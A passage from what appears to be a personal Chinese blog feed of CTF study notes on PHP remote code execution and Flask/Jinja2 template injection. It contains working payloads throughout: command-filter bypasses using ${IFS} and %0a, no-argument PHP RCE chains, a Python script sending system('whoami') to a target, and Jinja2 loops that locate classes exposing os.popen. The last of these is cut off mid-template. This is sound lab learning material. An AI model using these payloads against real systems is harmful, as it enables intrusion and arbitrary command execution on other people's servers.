encode/resource=/flag</code><br>文件包含获取flag的条件：<br>（1）攻击者需要知道文件存放的物理路径；<br>（2）对上传文件所在目录拥有可执行权限；<br>（3）存在文件包含漏洞；</p><ol start="5"><li>命令过滤 这里靶场主要都是过滤 下面详细记录绕过过滤</li></ol><ul><li>关于管道操作符<br>windows：</li></ul><ol><li>“|”：直接执行后面的语句。</li><li>“||”：如果前面的语句执行失败，则执行后面的语句，前面的语句只能为假才行。</li><li>“&amp;”：两条命令都执行，如果前面的语句为假则直接执行后面的语句，前面的语句可真可假。</li><li>“&amp;&amp;”：如果前面的语句为假则直接出错，也不执行后面的语句，前面的语句为真则两条命令都执行，前面的语句只能为真。</li></ol><p>linux：</p><ol><li>“;”：执行完前面的语句再执行后面的语句。</li><li>“|”：显示后面语句的执行结果。</li><li>“||”：当前面的语句执行出错时，执行后面的语句。</li><li>“&amp;”：两条命令都执行，如果前面的语句为假则执行执行后面的语句，前面的语句可真可假。</li><li>“&amp;&amp;”：如果前面的语句为假则直接出错，也不执行后面的语句，前面的语句为真则两条命令都执行，前面的语句只能为真。</li></ol><ul><li><p>查询cat的替代<br>(1)more:一页一页的显示的显示档案内容<br>(2)less:与more类似,但是比more更好的是,他可以<code>[pg dn][pg up]</code>翻页<br>(3)head:查看头几行<br>(4)tac:从最后一行开始显示,可以看出tac是cat的反向显示<br>(5)tail:查看尾几行<br>(6)nl:显示的时候,顺便输出行号<br>(7)od:以二进制的方式读取档案内容<br>(8)vi:一种编辑器，这个也可以查看<br>(9)vim:一种编辑器,这个也可以查看<br>(10)sort:可以查看<br>(11)uniq:可以查看<br>(12)file -f:报错出具体的内容<br>此处引用：<a href="https://blog.csdn.net/m_de_g/article/details/118929528">https://blog.csdn.net/m_de_g/article/details/118929528</a></p></li><li><p>关键字绕过<br><code>$@</code> 是<strong>位置参数变量</strong>，如果没有给命令传参（比如这里），<code>$@</code> 会被解析为空字符串<br><img src="/images/16.png"><br>\绕过<br>用 ${PATH:0:1} 来代替目录分隔符 &#x2F;</p></li><li><p>空格绕过<br><img src="/images/17.png"></p></li></ul><p> ; 的绕过方式 </p><pre><code>;%0a%0d&amp;</code></pre><p>终极过滤 </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1%0acd$&#123;IFS&#125;fl$*a$*g_is_here%0amore$&#123;IFS&#125;fl$*a$*g_295443149417453.php</span><br></pre></td></tr></table></figure><p>用到的原文链接：<a href="https://blog.csdn.net/2401_86190146/article/details/145136049">https://blog.csdn.net/2401_86190146/article/details/145136049</a></p><h2 id="无字母数字-RCE"><a href="#无字母数字-RCE" class="headerlink" title="无字母数字 RCE"></a>无字母数字 RCE</h2><p>这里的思路就是利用各种非数字字母的字符，经过各种变换（异或、取反、自增），构造出单个的字母字符</p><ul><li>异或 在php里，两个值进行异或，会先转变成ASCII在转变成2进制异或^：数字相同为1不同为0（1^1&#x3D;1，1^0&#x3D;0），利用这个特性来构造字符串0&amp;0&#x3D;0；1&amp;1&#x3D;0；0&amp;1&#x3D;1；1&amp;0&#x3D;1<br>例如：’a’^’$’&#x3D;E 需要两个字符才能构造出一个字符</li><li>取反 原理大概 32位表示二进制的12：<br>0000 0000 0000 0000 0000 0000 0000 1100<br>取反结果：<br>1111 1111 1111 1111 1111 1111 1111 0011<br>观察取反后的结果：从左向右看，第一位0正1符<br>-111 1111 1111 1111 1111 1111 1111 0011<br>负数是用补码表示的，补码是原码取反+1，也就是说<br>111 1111 1111 1111 1111 1111 1111 0011是某个数取反+1得到的。反过来，也就是<br>111 1111 1111 1111 1111 1111 1111 0011先-1，结果是<br>111 1111 1111 1111 1111 1111 1111 0010，再取反是<br>000 0000 0000 0000 0000 0000 0000 1101<br>1101就是：1<em>2的三次方+1</em>2的二次方+0<em>2的一次方+1</em>2的零次方<br>即1101就是:8+4+1&#x3D;13，别忘了前边的负号，最终结果-13<br>还有一种<br>利用的是UTF-8编码的某个汉字，并将其中某个字符取出来，然后再进行一次取反操作，就能得到一个我们想要的字符<br>原文链接：<a href="https://blog.csdn.net/WilliamsWayne/article/details/78259501">https://blog.csdn.net/WilliamsWayne/article/details/78259501</a></li><li>自增 在 PHP 中，可以递增<strong>非数字字符串</strong></li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">下划线这个可以当作变量名例如：$_   $__这样</span><br><span class="line">php有一个特性当强制调用数组和字符串时，数组会被强制转换为字符串Array</span><br><span class="line">例如：</span><br><span class="line">设置$_为数组       $_=[]       在调用他$_=@&quot;$_&quot;</span><br><span class="line">在这段代码中，$_=[];创建了一个空数组，并将其赋值给变量$_。然后，$_=@&quot;$_&quot;;使用字符串拼接的方式将变量$_转换为字符串，并将结果重新赋值给变量$_。</span><br><span class="line">而这样就导致@&quot;$_&quot;强制使数组变成了字符串，这样就让@&quot;$_&quot;强制转换为了Array</span><br><span class="line">所以$_==Array    $_[0]==A</span><br><span class="line">这里做的是无字母数字的rce所以0也不能用，使用&quot;@&quot;==&quot;~&quot;代替（@不等于~，所以返回false，而false等于0）</span><br><span class="line">$_[&quot;@&quot;==&quot;~&quot;]==A</span><br><span class="line">原文链接：https://blog.csdn.net/whale_waves/article/details/136365419</span><br></pre></td></tr></table></figure><p>payload都很长 网上有已经写好的脚本可以在本地转化 也有很多现成payload</p><h3 id="无参数RCE"><a href="#无参数RCE" class="headerlink" title="无参数RCE"></a>无参数RCE</h3><p>就是说在无法传入参数的情况下，仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果 只能使用没有参数的php函数 看了一篇很好很详细的文章 链接如下<a href="https://www.cnblogs.com/pursue-security/p/15406272.html">https://www.cnblogs.com/pursue-security/p/15406272.html</a><br>在本地搭建了类似的过滤</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">highlight_file(__FILE__);</span><br><span class="line">if(isset($_GET[&#x27;code&#x27;]))&#123;</span><br><span class="line">if(&#x27;;&#x27; === preg_replace(&#x27;/[^\W]+\((?R)?\)/&#x27;, &#x27;&#x27;, $_GET[&#x27;code&#x27;])) &#123;    </span><br><span class="line">    eval($_GET[&#x27;code&#x27;]);&#125;</span><br><span class="line">else</span><br><span class="line">    die(&#x27;nonono&#x27;);&#125;</span><br><span class="line">else</span><br><span class="line">    echo(&#x27;please input code&#x27;);</span><br><span class="line">?&gt;</span><br></pre></td></tr></table></figure><ol><li>getallheaders() 这个函数的作用是获取<code>http</code>所有的头部信息，也就是<code>headers</code>，然后我们可以用<code>var_dump</code>把它打印出来，但这个有个限制条件就是必须在<code>apache</code>的环境下可以使用，其它环境都是用不了的  直接end()函数取出最后一位 它只会以字符串的形式取出值而不会取出键<code>GET /1.php?code=eval(end(getallheaders())); HTTP/1.1...flag: system(&#39;id&#39;);</code><br><img src="/images/18.png">这里对php版本有限制的 5可以 7就不行了 高版本没这个函数了(居然还是有类似的 7以上的 payload类似于<br><code>GET /1.php?exp=eval(end(apache_request_headers()));HTTP/1.1...flag: system(&#39;id&#39;);</code>)</li><li>get_defined_vars() 没有服务器的限制条件 获取的四个全局变量<code>$_GET $_POST $_FILES $_COOKIE</code>  current()函数，这个函数的作用是返回数组中的当前单元，而它的默认是第一个单元<code>?code=eval(end(current(get_defined_vars())));&amp;flag=system(&#39;ls&#39;) 而如果网站对</code>$_GET,$_POST,$_COOKIE<code>都做的过滤， 那我们只能从</code>$_FILES&#96;入手了，file数组在最后一个，需要end定位，然后pos两次定位获得文件名<br>exp：</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">import requests</span><br><span class="line">files = &#123;</span><br><span class="line">   &quot;system(&#x27;whoami&#x27;);&quot;: &quot;&quot;</span><br><span class="line">&#125;</span><br><span class="line">#data = &#123;</span><br><span class="line">#&quot;code&quot;:&quot;eval(pos(pos(end(get_defined_vars()))));&quot;</span><br><span class="line">#&#125;</span><br><span class="line">r = requests.post(&#x27;http://your_vps_ip/1.php?code=eval(pos(pos(end(get_defined_vars()))));&#x27;, files=files)</span><br><span class="line">print(r.content.decode(&quot;utf-8&quot;, &quot;ignore&quot;)</span><br></pre></td></tr></table></figure><p><img src="/images/19.png"></p><ol start="3"><li>session_id() 适用于：php7以下的版本 把恶意代码写到COOKIE的PHPSESSID中，然后利用session_id()这个函数去读取它 PHPSESSIID中只能有A-Z a-z 0-9，-，所以说我们要先将恶意代码16进制编码以后再插入进去（好像也不是 主要看服务端吧 因为我在别人payload里面看到了里面还能输入&#x2F;flag）再补（看版本 旧版本 PHP Session ID 校验非常宽松  &#x2F;、.、甚至 : 都可能被接受）<br>大概是</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">GET /1.php?code=show_source(session_id(session_start())); HTTP/1.1</span><br><span class="line">Cookie: PHPSESSID=/flag</span><br></pre></td></tr></table></figure><p>命令执行就这样<br><code>GET /1.php?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1 </code>Cookie: PHPSESSID&#x3D;706870696e666f28293b<code> 4. ![](IMAGES/20.PNG) 5. localeconv() 函数返回一个包含本地数字及货币格式信息的数组。它返回的是一个二维数组，而它的第一位居然是一个点</code>.<code> 利用</code>current()&#96;函数将这个点取出来的 pos是current的别名，如果都被过滤还可以使用reset()，该函数返回数组第一个单元的值，如果数组为空则返回 FALSE<img src="/images/21.png"></p><h3 id="文件读取"><a href="#文件读取" class="headerlink" title="文件读取"></a>文件读取</h3><p>● show_source(session_id(session_start()));<br>● var_dump(file_get_contents(session_id(session_start())))<br>● highlight_file(session_id(session_start()));<br>● readfile(session_id(session_start()));<br>抓包传入Cookie: PHPSESSID&#x3D;(想读的文件)即可<br>3. scandir 列出目录中的文件和目录 <code>var_dump(scandir(current(localeconv())));</code><br>或者<code>print_r(scandir(current(localeconv())))</code> 直接读取flag在哪</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">### 读取当前目录文件</span><br><span class="line"></span><br><span class="line">当前目录倒数第一位文件：</span><br><span class="line">show_source(end(scandir(getcwd())));</span><br><span class="line">show_source(current(array_reverse(scandir(getcwd()))));</span><br><span class="line"></span><br><span class="line">当前目录倒数第二位文件：</span><br><span class="line">show_source(next(array_reverse(scandir(getcwd()))));</span><br><span class="line"></span><br><span class="line">随机返回当前目录文件：</span><br><span class="line">highlight_file(array_rand(array_flip(scandir(getcwd()))));</span><br><span class="line">show_source(array_rand(array_flip(scandir(getcwd()))));</span><br><span class="line">show_source(array_rand(array_flip(scandir(current(localeconv())))));</span><br><span class="line"></span><br><span class="line">### 查看上一级目录文件名</span><br><span class="line"></span><br><span class="line">print_r(scandir(dirname(getcwd())));</span><br><span class="line">print_r(scandir(next(scandir(getcwd()))));</span><br><span class="line">print_r(scandir(next(scandir(getcwd()))));</span><br><span class="line"></span><br><span class="line">### 读取上级目录文件</span><br><span class="line"></span><br><span class="line">show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));</span><br><span class="line">show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));</span><br><span class="line">show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));</span><br><span class="line">payload解释：  </span><br><span class="line">● array_flip()：交换数组中的键和值，成功时返回交换后的数组，如果失败返回 NULL。  </span><br><span class="line">● array_rand()：从数组中随机取出一个或多个单元，如果只取出一个(默认为1)，array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后，就可以根据随机的键获取数组的随机值。  </span><br><span class="line">● array_flip()和array_rand()配合使用可随机返回当前目录下的文件名  </span><br><span class="line">● dirname(chdir(dirname()))配合切换文件路径</span><br><span class="line"></span><br><span class="line">### 查看和读取根目录文件</span><br><span class="line"></span><br><span class="line">所获得的字符串第一位有几率是/，需要多试几次</span><br><span class="line"></span><br><span class="line">print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));</span><br></pre></td></tr></table></figure><ol start="3"><li>chdir()<br>这个函数是用来跳目录的，有时想读的文件不在当前目录下就用这个来切换，因为<code>scandir()</code>会将这个目录下的文件和目录都列出来，那么利用操作数组的函数将内部指针移到我们想要的目录上然后直接用<code>chdir</code>切就好了，如果要向上跳就要构造<code>chdir(&#39;..&#39;)</code></li><li>array_reverse()<br>将整个数组倒过来，有的时候当我们想读的文件比较靠后时，就可以用这个函数把它倒过来，就可以少用几个<code>next()</code></li><li>highlight_file()<br>打印输出或者返回 filename 文件中语法高亮版本的代码，相当于就是用来读取文件的</li><li>getenv()<br><strong>getenv()</strong> ：获取环境变量的值(在PHP7.1之后可以不给予参数)<br>适用于：php7以上的版本</li><li>还有些新颖的函数 过滤一般到不了这里<br>pos current pop都被过滤了的话，还有个array_shift()函数可以用<br>array_shift() - 删除数组中第一个元素，并返回被删除元素的值。</li></ol><p>输出函数echo、print_r、var_dump都被过滤了话，exit()函数的别名die()函数<br>die() 函数输出一条消息，并退出当前脚本。<br><img src="/images/22.png"><br>这样子也可以 是个很好的payload<br><code>system(array_shift(apache_request_headers()));</code>当然前面这个说过了 因为有<code>apache_request_headers()</code>这个函数 php7以上才有<br>最后把全部相关函数记一下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">目录操作：</span><br><span class="line">getchwd() ：函数返回当前工作目录。</span><br><span class="line">scandir() ：函数返回指定目录中的文件和目录的数组。</span><br><span class="line">dirname() ：函数返回路径中的目录部分。</span><br><span class="line">chdir() ：函数改变当前的目录。</span><br><span class="line"></span><br><span class="line">数组相关的操作：</span><br><span class="line">end() - 将内部指针指向数组中的最后一个元素，并输出。</span><br><span class="line">next() - 将内部指针指向数组中的下一个元素，并输出。</span><br><span class="line">prev() - 将内部指针指向数组中的上一个元素，并输出。</span><br><span class="line">reset() - 将内部指针指向数组中的第一个元素，并输出。</span><br><span class="line">each() - 返回当前元素的键名和键值，并将内部指针向前移动。</span><br><span class="line">array_shift() - 删除数组中第一个元素，并返回被删除元素的值。</span><br><span class="line"></span><br><span class="line">读文件</span><br><span class="line">show_source() - 对文件进行语法高亮显示。</span><br><span class="line">readfile() - 输出一个文件。</span><br><span class="line">highlight_file() - 对文件进行语法高亮显示。</span><br><span class="line">file_get_contents() - 把整个文件读入一个字符串中。</span><br><span class="line">readgzfile() - 可用于读取非 gzip 格式的文件</span><br></pre></td></tr></table></figure><p>原文章:<a href="https://xz.aliyun.com/news/10228">https://xz.aliyun.com/news/10228</a><br>然后用上面搜到的payload打了两个题（文章上面写的 有源码 部署到本地打的）</p>]]>
    </content>
    <id>http://47.109.24.42/2026/01/12/RCE/</id>
    <link href="http://47.109.24.42/2026/01/12/RCE/"/>
    <published>2026-01-12T14:00:00.000Z</published>
    <summary>
      <![CDATA[<h3 id="靶场"><a href="#靶场" class="headerlink" title="靶场"></a>靶场</h3><ol>
<li>eval执行</li>
</ol>
<figure class="highlight plaintext"><table><tr]]>
    </summary>
    <title>RCE</title>
    <updated>2026-01-12T14:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>xiexie</name>
    </author>
    <category term="学习笔记" scheme="http://47.109.24.42/categories/%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"/>
    <category term="学习task" scheme="http://47.109.24.42/tags/%E5%AD%A6%E4%B9%A0task/"/>
    <content>
      <![CDATA[<h2 id="漏洞成因"><a href="#漏洞成因" class="headerlink" title="漏洞成因"></a>漏洞成因</h2><p>Flask模板注入漏洞通常是因为开发人员直接将用户输入作为模板内容进行渲染，而不是使用模板变量。例如，使用<code>render_template_string</code>函数时，如果用户输入被直接嵌入模板字符串中，而没有经过适当的处理，攻击者就可以注入模板代码，从而执行任意代码。</p><p>为什么不能直接用__import__(‘os’).system(‘xxx’)？</p><p>Jinja2模板引擎为了安全考虑，Jinja2 主动“阉割”了危险入口，<code>_import__</code> 不在模板可访问的命名空间里。但是，Jinja2模板语法提供了执行一些表达式的能力，可以“绕到它”。</p><p>（Jinja2 是一个<strong>文本模板引擎</strong>，它能把”模板”和”数据”结合起来，生成最终的文本（通常是HTML），就是相当于把我们python里面写的数据和网页模板结合在一起的引擎。</p><p>在Jinja2模板中，我们可以通过Python的对象的继承链来访问我们想要的函数和对象。例如，我们可以通过以下步骤：</p><h4 id="与攻击相关的语法"><a href="#与攻击相关的语法" class="headerlink" title="与攻击相关的语法"></a>与攻击相关的语法</h4><ul><li>set<br>可以在模板中定义变量，比如：</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&#123;% set user=&quot;dq&quot; %&#125;</span><br><span class="line">&#123;% set num=520928 %&#125;</span><br><span class="line">&#123;% set userData=[num,user]&#125; %&#125;</span><br><span class="line">&#123;% for each in userData %&#125;</span><br><span class="line">    &lt;p&gt; &#123;&#123;each&#125;&#125; &lt;/p&gt;</span><br><span class="line">&#123;% endfor %&#125;</span><br></pre></td></tr></table></figure><p><strong>set</strong> 定义的变量相当于python中的 <strong>全局变量</strong>，在后面都可以使用。这一点当时没在意 只是一味地创建拼接后的敏感词…</p><ul><li>with<br>可以定义仅能在 <strong>with语句块</strong> 中使用的变量，一旦超过了这个块就不能使用，比如</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&#123;% with user=&quot;dq&quot; %&#125;</span><br><span class="line">    &lt;p&gt;&#123;&#123;user&#125;&#125;&lt;/p&gt;</span><br><span class="line">&#123;% endwith %&#125;</span><br></pre></td></tr></table></figure><h2 id="构造payload的原理"><a href="#构造payload的原理" class="headerlink" title="构造payload的原理"></a>构造payload的原理</h2><ol><li>从一个已知的对象（比如<code>config</code>）开始，它是一个对象。</li><li>访问该对象的类（<code>__class__</code>）。</li><li>访问该类的基类（<code>__bases__</code>）或通过<code>__mro__</code>（方法解析顺序）来访问其他类。</li><li>访问子类（<code>__subclasses__</code>）来找到我们想要的类（比如<code>object</code>类）。</li><li>从这些子类中，我们可以找到一些有用的类，例如<code>os._wrap_close</code>类，它包含了<code>os</code>模块的引用。<br>一个常见的payload是通过<code>__class__</code>、<code>__bases__</code>、<code>__subclasses__</code>等属性来遍历Python对象模型，最终找到可以执行命令的类或函数。<br>攻击思路：找到可以执行命令的对象链<br>对象 → 类 → 基类 → 子类 → 敏感模块 → 执行命令 然后其实最主要的就是能从函数 或者类方法之类的去拿到全局变量（函数之所以能访问模块级变量，是因为每个 Python 函数对象都保存了一个指向模块全局命名空间的引用，这个引用就是 <code>__globals__</code>。）<br>之前没有看到比较深的概念</li></ol><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">x = 10</span><br><span class="line">def f():</span><br><span class="line">    return x</span><br></pre></td></tr></table></figure><p>当调用 f() 时 去 <code>f.__globals__[&#39;x&#39;]</code> 查找 从最基础的定义来说 函数和全局变量确实就是最相关的 对于一些简单的黑名单 可以直接用工具生成 主要理解原理和一些方法技巧<br>对于payload里面的构造 最基础的其实就是围绕下面的各种变形<br>下面是我在博客一个大神的笔记那里抄的，就是多种相同的表达的不同写法，用于限制后。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">这是键值</span><br><span class="line">dict[&#x27;__builtins__&#x27;]</span><br><span class="line">dict.__getitem__(&#x27;__builtins__&#x27;)</span><br><span class="line">dict.pop(&#x27;__builtins__&#x27;)</span><br><span class="line">dict.get(&#x27;__builtins__&#x27;)</span><br><span class="line">dict.setdefault(&#x27;__builtins__&#x27;)</span><br><span class="line">list[0]</span><br><span class="line">list.__getitem__(0)</span><br><span class="line">list.pop(0)</span><br><span class="line">这是属性</span><br><span class="line">().__class__</span><br><span class="line">()[&quot;__class__&quot;]</span><br><span class="line">()|attr(&quot;__class__&quot;)</span><br><span class="line">().__getattribute__(&quot;__class__&quot;)</span><br></pre></td></tr></table></figure><h4 id="敏感字符拼接"><a href="#敏感字符拼接" class="headerlink" title="敏感字符拼接"></a>敏感字符拼接</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&#x27;m&#x27;+&#x27;o&#x27;</span><br><span class="line">&#x27;m&#x27;~&#x27;o&#x27;</span><br><span class="line">(&#x27;m&#x27;,&#x27;o&#x27;)|join</span><br><span class="line">[&#x27;m&#x27;,&#x27;o&#x27;]|join</span><br><span class="line">&#123;&#x27;m&#x27;:a,&#x27;o&#x27;:a&#125;|join</span><br><span class="line">dict(m=a,o=a)|join</span><br></pre></td></tr></table></figure><h4 id="获取数字"><a href="#获取数字" class="headerlink" title="获取数字"></a>获取数字</h4><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">&#123;&#125;|<span class="built_in">int</span> <span class="comment"># 0</span></span><br><span class="line">(<span class="keyword">not</span>&#123;&#125;)|<span class="built_in">int</span> <span class="comment"># 1</span></span><br><span class="line">((<span class="keyword">not</span>&#123;&#125;)|<span class="built_in">int</span>+(<span class="keyword">not</span>&#123;&#125;)|<span class="built_in">int</span>) <span class="comment"># 2</span></span><br><span class="line">((<span class="keyword">not</span>&#123;&#125;)|<span class="built_in">int</span>+(<span class="keyword">not</span>&#123;&#125;)|<span class="built_in">int</span>)**((<span class="keyword">not</span>&#123;&#125;)|<span class="built_in">int</span>+(<span class="keyword">not</span>&#123;&#125;)|<span class="built_in">int</span>) <span class="comment"># 4</span></span><br><span class="line">((<span class="keyword">not</span>&#123;&#125;)|<span class="built_in">int</span>,(<span class="keyword">not</span>&#123;&#125;)|<span class="built_in">int</span>)|<span class="built_in">sum</span> <span class="comment"># 2</span></span><br><span class="line"><span class="comment"># ......</span></span><br><span class="line">((<span class="keyword">not</span>&#123;&#125;)|<span class="built_in">int</span>,&#123;&#125;|<span class="built_in">int</span>)|join|<span class="built_in">int</span> <span class="comment"># 10</span></span><br><span class="line">(-(<span class="keyword">not</span>&#123;&#125;)|<span class="built_in">int</span>,&#123;&#125;|<span class="built_in">int</span>)|join|<span class="built_in">int</span> <span class="comment">#10</span></span><br><span class="line"><span class="string">&#x27;aaxaaa&#x27;</span>.index(<span class="string">&#x27;x&#x27;</span>) <span class="comment"># 2</span></span><br><span class="line">((),())|count/length <span class="comment"># 2</span></span><br><span class="line">((),())|length <span class="comment"># 2</span></span><br></pre></td></tr></table></figure><p>还有一个比较方便的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;% set nine=dict(aaaaaaaaa=a)|join|count %&#125;</span><br></pre></td></tr></table></figure><p>包括用数字来获得符号也是 打靶场会遇到</p><h4 id="常用绕过"><a href="#常用绕过" class="headerlink" title="常用绕过"></a>常用绕过</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">morouu|select|string&gt; 无himpquvwz</span><br><span class="line">dict(morouu=a)|join</span><br><span class="line">morouu.__doc__</span><br><span class="line">config/session/request ... |string</span><br><span class="line">&#x27;%c&#x27;%(97)&gt; a</span><br><span class="line">(morouu|select|string|urlencode|list|first~dict(c=a)|join)|format(97)&gt; a</span><br><span class="line">request.args.morouu&amp;morouu=[Any] # 这个还可从其他方式传入参数</span><br></pre></td></tr></table></figure><p>payload记不完的 记一些抓起来就能用的就行 毕竟遇上什么长度限制 终极黑名单就完全…</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">查找多少号里面的类</span><br><span class="line">&#123;% for i in range(130,140) %&#125;&#123;&#123; i &#125;&#125;:&#123;&#123; &#x27;&#x27;.__class__.__base__.__subclasses__()[i].__name__ &#125;&#125;|&#123;% endfor %&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">找到类在多少号</span><br><span class="line">&#123;% for i in range(500) %&#125;</span><br><span class="line">  &#123;% if &#x27;&#x27;.__class__.__base__.__subclasses__()[i].__name__ == &#x27;_wrap_close&#x27; %&#125;</span><br><span class="line">    &lt;p&gt;找到 _wrap_close 在索引: &#123;&#123; i &#125;&#125;&lt;/p&gt;</span><br><span class="line">  &#123;% endif %&#125;</span><br><span class="line">&#123;% endfor %&#125;</span><br><span class="line"></span><br><span class="line">&#123;#找到所有带builtins的类&#125;</span><br><span class="line">&#123;% for i in range(500) %&#125;</span><br><span class="line">  &#123;% set cls = &#x27;&#x27;.__class__.__base__.__subclasses__()[i] %&#125;</span><br><span class="line">  &#123;% if cls.__init__ and cls.__init__.__globals__ and cls.__init__.__globals__.get(&#x27;__builtins__&#x27;) %&#125;</span><br><span class="line">    索引 &#123;&#123; i &#125;&#125;: &#123;&#123; cls.__name__ &#125;&#125; 可以访问 __builtins__</span><br><span class="line">  &#123;% endif %&#125;</span><br><span class="line">&#123;% endfor %&#125;</span><br><span class="line"></span><br><span class="line">&#123;# 如果还不行，直接使用 os 模块 #&#125;</span><br><span class="line">&#123;% for i in range(500) %&#125;</span><br><span class="line">  &#123;% set cls = &#x27;&#x27;.__class__.__base__.__subclasses__()[i] %&#125;</span><br><span class="line">  &#123;% if cls.__init__ and cls.__init__.__globals__ and cls.__init__.__globals__.get(&#x27;os&#x27;) %&#125;</span><br><span class="line">    索引 &#123;&#123; i &#125;&#125;: &#123;&#123; cls.__name__ &#125;&#125; - </span><br><span class="line">    &#123;&#123; cls.__init__.__globals__[&#x27;os&#x27;].popen(&#x27;whoami&#x27;).read().strip() 